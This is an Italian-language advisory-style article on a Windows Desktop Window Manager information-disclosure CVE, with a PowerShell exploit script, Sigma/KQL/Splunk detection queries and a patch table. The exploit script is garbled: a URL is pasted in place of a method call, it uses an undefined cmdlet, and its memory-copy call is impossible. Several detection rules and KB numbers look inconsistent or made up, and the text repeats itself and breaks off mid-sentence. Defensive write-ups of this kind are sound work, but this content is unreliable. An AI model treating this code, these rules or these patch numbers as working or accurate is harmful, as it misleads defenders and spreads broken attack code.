
CVE‑2026‑20805: Una vulnerabilità di Windows Desktop Window Manager che causa la divulgazione locale di informazioni. Richiede privilegi bassi, nessuna interazione con l'utente. Valutata CVSS 5.5 (Media). Sfruttata attivamente ed elencata nel CISA KEV; patch rilasciata a gennaio 2026.
CVE‑2026‑20805: Una vulnerabilità di Windows Desktop Window Manager che causa divulgazione locale di informazioni. Richiede privilegi bassi, nessuna interazione con l'utente. Valutata CVSS 5.5 (Media). Sfruttata attivamente e inclusa nel catalogo CISA KEV; patch rilasciata a gennaio 2026.
CVE 2026 20805 è una vulnerabilità di divulgazione di informazioni nel Desktop Window Manager (DWM) – il componente principale che renderizza il desktop, compone le finestre e accelera l'interfaccia utente basata su GPU.
Perché è importante: la vulnerabilità consente a un attaccante locale con privilegi bassi di leggere dati che dovrebbero essere confinati ad altre sessioni o processi.
| Attributo | Valore |
|---|
| CWE‑200: Esposizione di informazioni sensibili a un attore non autorizzato | ✓ |
| Vettore di attacco | Locale |
| Privilegi richiesti | Bassi |
| Interazione con l'utente | Nessuna |
| Impatto – riservatezza | Alto |
| Impatto – integrità | Nessuno |
| Impatto – disponibilità | Nessuno |
| Punteggio base CVSS 3.1 | 5.5 (Media) |
DWM orchestra la memoria GPU, i buffer delle finestre e le superfici UI inter-processo. È un obiettivo di alto valore perché aggrega dati da più processi in uno spazio GPU condiviso; una vulnerabilità qui può far trapelare credenziali o dati di sessione tra utenti.
Ruolo di DWM in Windows moderno:
La vulnerabilità sfrutta la mancanza di controlli sui limiti dell'indice del buffer della finestra; ciò consente a un attaccante di leggere la memoria GPU adiacente e ottenere segreti memorizzati da altri processi.
In base all'elenco CPE del NVD, Windows 10.0.19041 (e derivate) sono interessati.
Di seguito è riportato un flusso di sfruttamento concettuale:
CreateProcess con privilegi minimi.# Windows 10.0.19041 – DWM buffer read exploit
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # crafted offset to adjacent GPU memory
$targetWindow = 0x00030001 # target window index
# Create a temporary buffer in kernel space
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/main/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copy kernel buffer into DWM's composition routine
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Dump the exposed data to a local file for analysis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
Lo script dimostra come un attaccante può sfruttare la memoria GPU di DWM per leggere dati nascosti.
Il rilevamento per CVE‑2026‑20805 si concentra sull'identificazione di interazioni anomale con dwm.exe e telemetria GPU insolita. Lo sfruttamento si basa sulla lettura di buffer di memoria supportati dalla GPU utilizzando offset creati ad hoc, quindi i difensori dovrebbero monitorare le deviazioni dal normale comportamento del Desktop Window Manager.
0x2B (DisplayUpdate)Queste fonti forniscono visibilità sulla creazione dei processi, sull'accesso agli handle e sull'attività di aggiornamento della GPU.
CreateProcess ripetuti che coinvolgono dwm.exe, soprattutto quando il processo padre non è explorer.exe.DisplayUpdate (0x2B) ad alta frequenza seguiti da letture di memoria che utilizzano dimensioni o offset di buffer insoliti.
SrcAddress: 0x00120000Size: 0x1000HandleOpen che hanno come target dwm.exe e raffiche di attività GPU ETW.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
L'avviso di Microsoft per CVE 2026 20805 include una patch che valida gli indici dei buffer in DWM prima di copiare i dati GPU.
| Versione di Windows | Numero patch |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead venga eseguita senza errori sui nodi di test.dwm.La divulgazione di informazioni tramite DWM è spesso sottovalutata perché può esporre artefatti UI e dati di sessione tra utenti. La memoria GPU trapelata può supportare il movimento laterale, soprattutto in ambienti in cui più sessioni condividono una singola workstation o server.
Impatto elevato sulla riservatezza: la vulnerabilità consente a un attaccante di leggere il contenuto delle finestre di altre sessioni.
Punteggio CVSS medio (5.5): sebbene il valore numerico sia moderato, il significato operativo è elevato.
CVE 2026 20805 dimostra che uno sfruttamento locale a bassi privilegi di DWM può produrre significative fughe di dati. L'inclusione della vulnerabilità nel catalogo delle vulnerabilità note sfruttate di CISA sottolinea la sua rilevanza nel mondo reale. Applicando la strategia di mitigazione, rilevamento e patch delineata, un'organizzazione può ridurre il rischio migliorando al contempo la visibilità sui flussi di memoria GPU.